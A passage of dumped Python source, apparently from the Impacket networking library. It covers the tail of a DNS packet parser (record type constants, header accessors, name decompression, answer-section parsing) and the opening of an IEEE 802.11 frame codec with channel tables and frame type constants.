NextSECure.\n    DNSKEY       = 48\n    DHCID        = 49    # DHCP identifier.\n    NSEC3        = 50\n    NSEC3PARAM   = 51\n    \n    HIP          = 55    # Host Identity Protocol.\n    NINFO        = 56\n    RKEY         = 57\n    \n    SPF          = 99    # Sender Policy Framework.\n    UINFO        = 100\n    UID          = 101\n    GID          = 102\n    UNSPEC       = 103\n    \n    TKEY         = 249\n    TSIG         = 250   # Transaction Signature.\n    IXFR         = 251   # Incremental transfer.\n    AXFR         = 252   # A request for a transfer of an entire zone.\n    MAILB        = 253   # A request for mailbox-related records (MB, MG or MR).\n    MAILA        = 254   # A request for mail agent RRs. Obsolete.\n    ALL          = 255   # A request for all records.\n    \n    DNSSEC       = 32768 # Trust Authorities.\n    DNSSEC       = 32769 # DNSSEC Lookaside Validation.\n    \n    @staticmethod\n    def getTypeName(type):\n        for item, value in list(DNSType.__dict__.items()):\n            if value == type:\n                return item\n    \n\nclass DNSClass():\n    RESERVED     = 0\n    IN           = 1 # Internet.\n    CH           = 3 # Chaos.\n    HS           = 4 # Hesiod.\n    \n    NONE         = 254\n    ANY          = 255 # QCLASS only\n    \n    @staticmethod\n    def getClassName(type):\n        for item, value in list(DNSClass.__dict__.items()):\n            if value == type:\n                return item\n\nclass DNS(ProtocolPacket):\n    '''The Message Header is present in all messages. Never empty.\n    Contains various flags and values which control the transaction.'''\n    \n    __TYPE_LEN       = 2 # Unsigned 16 bit value.\n    __CLASS_LEN      = 2 # Unsigned 16 bit value.\n    __POINTER_LEN    = 2 # A pointer is an unsigned 16-bit value.\n    __TTL_LEN        = 4 # Unsigned 32 bit value. The time in seconds that the record may be cached.\n    __RDLENGTH_LEN   = 2 # Unsigned 16-bit value that defines the length in bytes (octets) of the RDATA record.\n    __TYPE_A_LEN     = 4 # Unsigned 32-bit value representing the IP address.\n    __SERIAL_LEN     = 4 # Serial Number  Unsigned 32-bit integer.\n    __REFRESH_LEN    = 4 # Refresh interval  Unsigned 32-bit integer.\n    __RETRY_LEN      = 4 # Retry Interval  Unsigned 32-bit integer.\n    __EXPIRATION_LEN = 4 # Expiration Limit  Unsigned 32-bit integer.\n    __MINTTL_LEN     = 4 # Minimum TTL  Unsigned 32-bit integer.\n    __PREF_LEN       = 2 # Preference  Unsigned 16-bit integer.\n    __IS_POINTER   = int(\"11000000\", 2)\n    __OFFSETMASK   = int(\"00111111\", 2)\n    \n    def __init__(self, aBuffer = None):\n        self.__HEADER_BASE_SIZE = 12\n        self.__TAIL_SIZE        = 0\n        ProtocolPacket.__init__(self, self.__HEADER_BASE_SIZE, self.__TAIL_SIZE)\n        if aBuffer:\n            self.load_packet(aBuffer)\n    \n    def get_transaction_id(self):\n        'Get 16 bit message ID.'\n        return self.header.get_word(0)\n    \n    def set_transaction_id(self, value):\n        'Set 16 bit message ID.'\n        self.header.set_word(0, value)\n    \n    def get_transaction_id_tcp(self):\n        'Get 16 bit message ID.'\n        return self.header.get_word(2)\n    \n    def set_transaction_id_tcp(self, value):\n        'Set 16 bit message ID.'\n        self.header.set_word(2, value)\n\n    def get_flags(self):\n        'Get 16 bit flags.'\n        return self.header.get_word(2)\n\n    def set_flags(self, value):\n        'Set 16 bit flags.'\n        self.header.set_word(2, value)\n\n    def get_flags_tcp(self):\n        'Get 16 bit flags.'\n        return self.header.get_word(4)\n    \n    def set_flags_tcp(self, value):\n        'Set 16 bit flags.'\n        self.header.set_word(4, value)\n    \n    def get_qdcount(self):\n        'Get Unsigned 16 bit integer specifying the number of entries in the question section.'\n        return self.header.get_word(4)\n    \n    def set_qdcount(self, value):\n        'Set Unsigned 16 bit integer specifying the number of entries in the question section.'\n        self.header.set_word(4, value)\n    \n    def get_qdcount_tcp(self):\n        'Get Unsigned 16 bit integer specifying the number of entries in the question section.'\n        return self.header.get_word(6)\n    \n    def set_qdcount_tcp(self, value):\n        'Set Unsigned 16 bit integer specifying the number of entries in the question section.'\n        self.header.set_word(6, value)\n\n    def get_ancount(self):\n        'Get Unsigned 16 bit integer specifying the number of resource records in the answer section'\n        return self.header.get_word(6)\n    \n    def set_ancount(self, value):\n        'Set Unsigned 16 bit integer specifying the number of resource records in the answer section'\n        self.header.set_word(6, value)\n    \n    def get_nscount(self):\n        'Get Unsigned 16 bit integer specifying the number of name server resource records in the authority section.'\n        return self.header.get_word(8)\n    \n    def set_nscount(self, value):\n        'Set Unsigned 16 bit integer specifying the number of name server resource records in the authority section.'\n        self.header.set_word(8, value)\n    \n    def get_arcount(self):\n        'Get Unsigned 16 bit integer specifying the number of resource records in the additional records section.'\n        return self.header.get_word(10)\n    \n    def set_arcount(self, value):\n        'Set Unsigned 16 bit integer specifying the number of resource records in the additional records section.'\n        self.header.set_word(10, value)\n    \n    def get_questions(self):\n        'Get a list of the DNS Question.'\n        return self.__get_questions()[0]\n    \n    def __get_questions(self):\n        aux = []\n        offset   = 0\n        qdcount = self.get_qdcount()\n        data    = self.get_body_as_string()\n        for _ in range(qdcount): # number of questions\n            offset, qname = self.parseCompressedMessage(data, offset)\n            qtype  = data[offset:offset+self.__TYPE_LEN]\n            offset  += self.__TYPE_LEN\n            qclass = data[offset:offset+self.__CLASS_LEN]\n            offset  += self.__CLASS_LEN\n            qtype  = struct.unpack(\"!H\", qtype)[0]\n            qclass = struct.unpack(\"!H\", qclass)[0]\n            aux.append((qname, qtype, qclass))\n        return (aux, offset)\n\n    def get_questions_tcp(self):\n        'Get a list of the DNS Question.'\n        return self.__get_questions_tcp()[0]\n\n    def __get_questions_tcp(self):\n        aux = []\n        offset   = 2\n        qdcount = self.get_qdcount_tcp()\n        data    = self.get_body_as_string()\n        for _ in range(qdcount): # number of questions\n            offset, qname = self.parseCompressedMessage(data, offset)\n            qtype  = data[offset:offset+self.__TYPE_LEN]\n            offset  += self.__TYPE_LEN\n            qclass = data[offset:offset+self.__CLASS_LEN]\n            offset  += self.__CLASS_LEN\n            qtype  = struct.unpack(\"!H\", qtype)[0]\n            qclass = struct.unpack(\"!H\", qclass)[0]\n            aux.append((qname, qtype, qclass))\n        return (aux, offset)\n\n    def parseCompressedMessage(self, buf, offset=0):\n        'Parse compressed message defined on rfc1035 4.1.4.'\n        if offset >= len(buf):\n            raise Exception(\"No more data to parse. Offset is bigger than length of buffer.\")\n        byte = struct.unpack(\"B\", buf[offset:offset+1])[0]\n        #  if the first two bits are ones (11000000=0xC0), the next bits are the offset\n        if byte & 0xC0 == 0xC0:\n            # It's a pointer\n            pointer = struct.unpack(\"!H\", buf[offset:offset+2])[0] # network unsigned short\n            pointer = (pointer & 0x3FFF) - self.__HEADER_BASE_SIZE\n            if offset == pointer:\n                raise Exception(\"The infinite loop is in DNS decompression. Encountered pointer points to the current offset.\")\n            offset += 2\n            name = self.parseCompressedMessage(buf, pointer)[1]\n            return (offset, name)\n        else:\n            # It's a label\n            if byte == 0x00:\n                offset += 1\n                return (offset, '')\n            offset += 1\n            name = buf[offset:offset+byte]\n            offset += byte\n            offset, unnamed = self.parseCompressedMessage(buf, offset)\n            if not unnamed:\n                return (offset, name)\n            else:\n                return (offset, name + b\".\" + unnamed)\n    \n    def get_answers(self):\n        return self.__get_answers()[0]\n    \n    def get_authoritative(self):\n        return self.__get_authoritative()[0]\n    \n    def get_additionals(self):\n        return self.__get_additionals()[0]\n    \n    def __get_answers(self):\n        offset  = self.__get_questions()[1] # get the initial offset\n        ancount = self.get_ancount()\n        return self.__process_answer_structure(offset, ancount)\n    \n    def __get_authoritative(self):\n        'Get a list of the DNS Authoritative.'\n        offset  = self.__get_answers()[1] # get the initial offset\n        nscount = self.get_nscount()\n        return self.__process_answer_structure(offset, nscount)\n    \n    def __get_additionals(self):\n        'Get a list of the DNS Additional Records.'\n        offset  = self.__get_authoritative()[1] # get the initial offset\n        arcount = self.get_arcount()\n        return self.__process_answer_structure(offset, arcount)\n    \n    def __process_answer_structure(self, offset, num):\n        aux  = []\n        data = self.get_body_as_string()\n        for _ in range(num):\n            offset, qname = self.parseCompressedMessage(data, offset)\n            qtype  = data[offset:offset+self.__TYPE_LEN]\n            qtype  = struct.unpack(\"!H\", qtype)[0]\n            offset  += self.__TYPE_LEN\n            \n            qclass = data[offset:offset+self.__CLASS_LEN]\n            qclass = struct.unpack(\"!H\", qclass)[0]\n            offset  += self.__CLASS_LEN\n            \n            qttl_raw = data[offset:offset+self.__TTL_LEN]\n            qttl = struct.unpack(\"!L\", qttl_raw)[0]\n            offset  += self.__TTL_LEN\n            \n            qrdlength = data[offset:offset+self.__RDLENGTH_LEN]\n            qrdlength = struct.unpack(\"!H\", qrdlength)[0]\n            offset  += self.__RDLENGTH_LEN\n            \n            qrdata = {}\n            if qtype == DNSType.A:\n                # IP Address  Unsigned 32-bit value representing the IP address\n                qrdata[\"IPAddress\"] = socket.inet_ntoa(data[offset:offset+qrdlength])\n                offset  += self.__TYPE_A_LEN\n            elif qtype == DNSType.SOA:\n                # Primary NS  Variable length. The name of the Primary Master for the domain. May be a label, pointer or any combination.\n                offset, primaryNs = self.parseCompressedMessage(data, offset)\n                qrdata[\"PrimaryNS\"] = primaryNs\n                # Admin MB  Variable length. The administrator's mailbox. May be a label, pointer or any combination.\n                offset, adminMb = self.parseCompressedMessage(data, offset)\n                qrdata[\"AdminMB\"] = adminMb\n                # Serial Number  Unsigned 32-bit integer.\n                qrdata[\"SerialNumber\"] = struct.unpack(\"!L\", data[offset:offset+self.__SERIAL_LEN])[0]\n                offset += self.__SERIAL_LEN\n                # Refresh interval  Unsigned 32-bit integer.\n                qrdata[\"RefreshInterval\"] = struct.unpack(\"!L\", data[offset:offset+self.__REFRESH_LEN])[0]\n                offset += self.__REFRESH_LEN\n                # Retry Interval  Unsigned 32-bit integer.\n                qrdata[\"RetryInterval\"] = struct.unpack(\"!L\", data[offset:offset+self.__RETRY_LEN])[0]\n                offset += self.__RETRY_LEN\n                # Expiration Limit  Unsigned 32-bit integer.\n                qrdata[\"ExpirationLimit\"] = struct.unpack(\"!L\", data[offset:offset+self.__EXPIRATION_LEN])[0]\n                offset += self.__EXPIRATION_LEN\n                # Minimum TTL  Unsigned 32-bit integer.\n                qrdata[\"MinimumTTL\"] = struct.unpack(\"!L\", data[offset:offset+self.__MINTTL_LEN])[0]\n                offset += self.__MINTTL_LEN\n            elif qtype == DNSType.MX:\n                # Preference  Unsigned 16-bit integer.\n                qrdata[\"Preference\"] = struct.unpack(\"!H\", data[offset:offset+self.__PREF_LEN])[0]\n                # Mail Exchanger  The name host name that provides the service. May be a label, pointer or any combination.\n                offset, mailExch = self.parseCompressedMessage(data, offset)\n                qrdata[\"MailExchanger\"] = mailExch\n            elif qtype == DNSType.PTR or qtype == DNSType.NS or qtype == DNSType.CNAME:\n                # Name  The host name that represents the supplied IP address (in the case of a PTR) or the NS name for the supplied domain (in the case of NS). May be a label, pointer or any combination.\n                offset, name = self.parseCompressedMessage(data, offset)\n                qrdata[\"Name\"] = str(name.decode('ascii'))\n            elif qtype == DNSType.OPT:\n                # rfc2671 4.3\n                #NAME         domain name    empty (root domain)\n                #TYPE         u_int16_t      OPT\n                #CLASS        u_int16_t      sender's UDP payload size\n                #TTL          u_int32_t      extended RCODE and flags\n                #RDLEN        u_int16_t      describes RDATA\n                #RDATA        octet stream   {attribute,value} pairs\n                #udp_payload = qclass\n                udp_payload_size = qclass\n                ext_rcode = struct.unpack(\"B\", qttl_raw[0:1])[0]\n                version = struct.unpack(\"B\", qttl_raw[1:2])[0]\n                flags = struct.unpack(\"!H\", qttl_raw[2:4])[0]\n                qrdata[\"RDATA\"] = data[offset:offset+qrdlength]\n                offset  += qrdlength\n                aux.append((qname, qtype, udp_payload_size, ext_rcode, version, flags, qrdata))\n                continue   \n            else:\n                # We don't know how to parse it, just skip it\n                offset  += qrdlength\n                \n            aux.append((qname, qtype, qclass, qttl, qrdata))\n        return (aux, offset)\n    \n    def get_header_size(self):\n        return self.__HEADER_BASE_SIZE\n    \n    def __str__(self):\n        res = \"\"\n        \n        id      = self.get_transaction_id()\n        flags   = self.get_flags()\n        qdcount = self.get_qdcount()\n        ancount = self.get_ancount()\n        nscount = self.get_nscount()\n        arcount = self.get_arcount()\n        \n        res += \"DNS \"\n        if flags & DNSFlags.QR_RESPONSE:\n            res += \"RESPONSE\\n\"\n        else:\n            res += \"QUERY\\n\"\n        \n        res += \" - Transaction ID -- [0x%04x] %d\\n\" % (id, id)\n        res += \" - Flags ----------- [0x%04x] %d\\n\" % (flags, flags)\n        res += \" - QdCount --------- [0x%04x] %d\\n\" % (qdcount, qdcount)\n        res += \" - AnCount --------- [0x%04x] %d\\n\" % (ancount, ancount)\n        res += \" - NsCount --------- [0x%04x] %d\\n\" % (nscount, nscount)\n        res += \" - ArCount --------- [0x%04x] %d\\n\" % (arcount, arcount)\n        \n        if qdcount > 0:\n            res += \" - Questions:\\n\"\n            questions = self.get_questions()\n            questions.reverse()\n            while(questions):\n                qname, qtype, qclass = questions.pop()\n                format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass)\n                res += \"  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x]\\n\" % format\n        \n        if ancount > 0:\n            res += \" - Answers:\\n\"\n            answers = self.get_answers()\n            answers.reverse()\n            while(answers):\n                qname, qtype, qclass, qttl, qrdata = answers.pop()\n                format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))\n                res += \"  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\\n\" % format\n        \n        if nscount > 0:\n            res += \" - Authoritative:\\n\"\n            authoritative = self.get_authoritative()\n            authoritative.reverse()\n            while(authoritative):\n                qname, qtype, qclass, qttl, qrdata = authoritative.pop()\n                format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))\n                res += \"  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\\n\" % format\n        \n        if arcount > 0:\n            res += \" - Additionals:\\n\"\n            additionals = self.get_additionals()\n            for additional in additionals:\n                qtype = additional[1]\n                if qtype == DNSType.OPT:\n                    \n                    qname, qtype, udp_payload_size, ext_rcode, version, flags, qrdata = additional\n                    format = (DNSType.getTypeName(qtype), qtype, udp_payload_size, ext_rcode, version, flags, repr(qrdata['RDATA']))\n                    res += \"  * Name: <Root> - Type: %s [0x%04x] - udp payload size: [%d] - extended RCODE: [0x%02x] - EDNS0 version: [0x%02x] - Z Flags: [0x%02x] - RDATA: [%s]\\n\" % format\n                else:\n                    qname, qtype, qclass, qttl, qrdata = additional\n                    format = (str(qname.decode('ascii')), DNSType.getTypeName(qtype), qtype, DNSClass.getClassName(qclass), qclass, qttl, repr(qrdata))\n                    res += \"  * Domain: %s - Type: %s [0x%04x] - Class: %s [0x%04x] - TTL: %d seconds - %s\\n\" % format\n        \n        return res\n \n    def __get_questions_raw(self):\n        if self.get_qdcount() == 0:\n            return ''\n        questions_offset = self.__get_questions()[1]\n        raw_data  = self.get_body_as_string()[:questions_offset]\n        return raw_data\n\n    def __get_answers_raw(self):\n        if self.get_ancount() == 0:\n            return ''\n        questions_offset = self.__get_questions()[1]\n        answers_offset = self.__get_answers()[1]\n        raw_data  = self.get_body_as_string()[questions_offset: answers_offset]\n        return raw_data\n\n    def __get_authoritative_raw(self):\n        if self.get_nscount() == 0:\n            return ''\n        answers_offset = self.__get_answers()[1]\n        authoritative_offset = self.__get_authoritative()[1]\n        raw_data  = self.get_body_as_string()[answers_offset:authoritative_offset]\n        return raw_data\n\n    def __get_additionals_raw(self):\n        if self.get_arcount() == 0:\n            return ''\n        authoritative_offset = self.__get_authoritative()[1]\n        raw_data  = self.get_body_as_string()[authoritative_offset:]\n        return raw_data\n\n    def add_answer(self, answer_raw):\n        '''Add a raw answer'''\n        questions_raw = self.__get_questions_raw()\n        answers_raw = self.__get_answers_raw()\n        authoritative_raw = self.__get_authoritative_raw()\n        additionals_raw = self.__get_additionals_raw()\n        \n        answers_raw += answer_raw\n        \n        body = questions_raw + answers_raw + authoritative_raw + additionals_raw\n        self.load_body(body) # It breaks children hierarchy\n        \n        # Increment the answer count  \n        cur_answer_count = self.get_ancount()+1\n        self.set_ancount(cur_answer_count)\n\n    def is_edns0(self):\n        additionals = self.get_additionals()\n        for item in additionals:\n            response_type = item[1]\n            if response_type == DNSType.OPT:\n                return True\n        return False\n"
  },
  {
    "path": "impacket/dot11.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   IEEE 802.11 Network packet codecs.\n#\n# Author:\n#   Gustavo Moreira\n#\n\nimport struct\nfrom binascii import crc32\n\nfrom impacket.ImpactPacket import ProtocolPacket, array_tobytes\nfrom impacket.Dot11Crypto import RC4\nfrequency = {\n    2412: 1,    2417: 2,    2422: 3,    2427: 4,    2432: 5,    2437: 6,    2442: 7,    2447: 8,    2452: 9,\n    2457: 10,   2462: 11,   2467: 12,   2472: 13,   2484: 14,   5170: 34,   5180: 36,   5190: 38,   5200: 40,\n    5210: 42,   5220: 44,   5230: 46,   5240: 48,   5260: 52,   5280: 56,   5300: 60,   5320: 64,   5500: 100,\n    5510: 102,  5520: 104,  5530: 106,  5540: 108,  5550: 110,  5560: 112,  5570: 114,  5580: 116,  5590: 118,\n    5600: 120,  5610: 122,  5620: 124,  5630: 126,  5640: 128,  5650: 130,  5660: 132,  5670: 134,  5680: 136,\n    5690: 138,  5700: 140,  5745: 149,  5765: 153,  5785: 157,  5805: 161,  5825: 165,  5855: 170,  5860: 172,\n    5865: 173,  5870: 174,  5875: 175,  5880: 176,  5885: 177,  5890: 178,  5895: 179,  5900: 180,  5905: 181,\n    5910: 182,  5915: 183,  5920: 184,\n}\n\n\nclass Dot11ManagementCapabilities():\n    #\n    # Capability Information\n    #   0   1   2   3   4   5   6   7   8   9   A   B   C   D   E   F\n    # +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n    # | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |\n    # +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+\n    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |---+-- Reserved\n    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |   |   |   |   |   |   |   |---------- DSSS-OFDM\n    #   |   |   |   |   |   |   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |   |   |   |   |   |---+-------------- Reserved\n    #   |   |   |   |   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |   |   |   |   |---------------------- Short slot time\n    #   |   |   |   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |   |   |---+-------------------------- Reserved\n    #   |   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |   |---------------------------------- Channel agility (802.11b)\n    #   |   |   |   |   |   |   |\n    #   |   |   |   |   |   |   |-------------------------------------- PBCC (802.11b)\n    #   |   |   |   |   |   |\n    #   |   |   |   |   |   |------------------------------------------ Short preamble (802.11b)\n    #   |   |   |   |   |\n    #   |   |   |   |   |---------------------------------------------- Privacy\n    #   |   |   |   |\n    #   |   |   |   |-------------------------------------------------- CF-Poll request\n    #   |   |   |\n    #   |   |   |------------------------------------------------------ CF-Pollable\n    #   |   |\n    #   |   |---------------------------------------------------------- IBSS\n    #   |\n    #   |-------------------------------------------------------------- ESS\n    #\n    CAPABILITY_RESERVED_1      = int(\"1000000000000000\", 2)\n    CAPABILITY_RESERVED_2      = int(\"0100000000000000\", 2)\n    CAPABILITY_DSSS_OFDM       = int(\"0010000000000000\", 2)\n    CAPABILITY_RESERVED_3      = int(\"0001000000000000\", 2)\n    CAPABILITY_RESERVED_4      = int(\"0000100000000000\", 2)\n    CAPABILITY_SHORT_SLOT_TIME = int(\"0000010000000000\", 2)\n    CAPABILITY_RESERVED_5      = int(\"0000001000000000\", 2)\n    CAPABILITY_RESERVED_6      = int(\"0000000100000000\", 2)\n    CAPABILITY_CH_AGILITY      = int(\"0000000010000000\", 2)\n    CAPABILITY_PBCC            = int(\"0000000001000000\", 2)\n    CAPABILITY_SHORT_PREAMBLE  = int(\"0000000000100000\", 2)\n    CAPABILITY_PRIVACY         = int(\"0000000000010000\", 2)\n    CAPABILITY_CF_POLL_REQ     = int(\"0000000000001000\", 2)\n    CAPABILITY_CF_POLLABLE     = int(\"0000000000000100\", 2)\n    CAPABILITY_IBSS            = int(\"0000000000000010\", 2)\n    CAPABILITY_ESS             = int(\"0000000000000001\", 2)\n\nclass Dot11Types():\n    # Management Types/SubTypes\n    DOT11_TYPE_MANAGEMENT                           = int(\"00\",2)\n    DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST    = int(\"0000\",2)\n    DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE   = int(\"0001\",2)\n    DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST  = int(\"0010\",2)\n    DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE = int(\"0011\",2)\n    DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST          = int(\"0100\",2)\n    DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE         = int(\"0101\",2)\n    DOT11_SUBTYPE_MANAGEMENT_RESERVED1              = int(\"0110\",2)\n    DOT11_SUBTYPE_MANAGEMENT_RESERVED2              = int(\"0111\",2)\n    DOT11_SUBTYPE_MANAGEMENT_BEACON                 = int(\"1000\",2)\n    DOT11_SUBTYPE_MANAGEMENT_ATIM                   = int(\"1001\",2)\n    DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION         = int(\"1010\",2)\n    DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION         = int(\"1011\",2)\n    DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION       = int(\"1100\",2)\n    DOT11_SUBTYPE_MANAGEMENT_ACTION                 = int(\"1101\",2)\n    DOT11_SUBTYPE_MANAGEMENT_RESERVED3              = int(\"1110\",2)\n    DOT11_SUBTYPE_MANAGEMENT_RESERVED4              = int(\"1111\",2)\n\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_REQUEST = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_REQUEST<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_ASSOCIATION_RESPONSE = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ASSOCIATION_RESPONSE<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_REQUEST = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_REQUEST<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_REASSOCIATION_RESPONSE = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_REASSOCIATION_RESPONSE<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_REQUEST = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_PROBE_REQUEST<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_PROBE_RESPONSE = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_PROBE_RESPONSE<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED1 = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED1<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED2 = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED2<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_BEACON = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_BEACON<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_ATIM = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ATIM<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_DISASSOCIATION = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_DISASSOCIATION<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_AUTHENTICATION = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_AUTHENTICATION<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_DEAUTHENTICATION = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_DEAUTHENTICATION<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_ACTION = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_ACTION<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED3 = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED3<<2\n    DOT11_TYPE_MANAGEMENT_SUBTYPE_RESERVED4 = \\\n        DOT11_TYPE_MANAGEMENT|DOT11_SUBTYPE_MANAGEMENT_RESERVED4<<2\n    \n    # Control Types/SubTypes\n    DOT11_TYPE_CONTROL                              = int(\"01\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED1                 = int(\"0000\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED2                 = int(\"0001\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED3                 = int(\"0010\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED4                 = int(\"0011\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED5                 = int(\"0100\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED6                 = int(\"0101\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED7                 = int(\"0110\",2)\n    DOT11_SUBTYPE_CONTROL_RESERVED8                 = int(\"0111\",2)\n    DOT11_SUBTYPE_CONTROL_BLOCK_ACK_REQUEST         = int(\"1000\",2)\n    DOT11_SUBTYPE_CONTROL_BLOCK_ACK                 = int(\"1001\",2)\n    DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL            = int(\"1010\",2)\n    DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND           = int(\"1011\",2)\n    DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND             = int(\"1100\",2)\n    DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT            = int(\"1101\",2)\n    DOT11_SUBTYPE_CONTROL_CF_END                    = int(\"1110\",2)\n    DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK             = int(\"1111\",2)\n\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED1 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED1<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED2 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED2<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED3 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED3<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED4 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED4<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED5 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED5<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED6 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED6<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_RESERVED7 = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_RESERVED7<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_BLOCK_ACK_REQUEST = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_BLOCK_ACK_REQUEST<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_BLOCK_ACK = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_BLOCK_ACK<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_POWERSAVE_POLL = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_POWERSAVE_POLL<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_CLEAR_TO_SEND = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CLEAR_TO_SEND<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_ACKNOWLEDGMENT = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_ACKNOWLEDGMENT<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_CF_END = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CF_END<<2\n    DOT11_TYPE_CONTROL_SUBTYPE_CF_END_CF_ACK = \\\n        DOT11_TYPE_CONTROL|DOT11_SUBTYPE_CONTROL_CF_END_CF_ACK<<2\n\n    # Data Types/SubTypes\n    DOT11_TYPE_DATA                                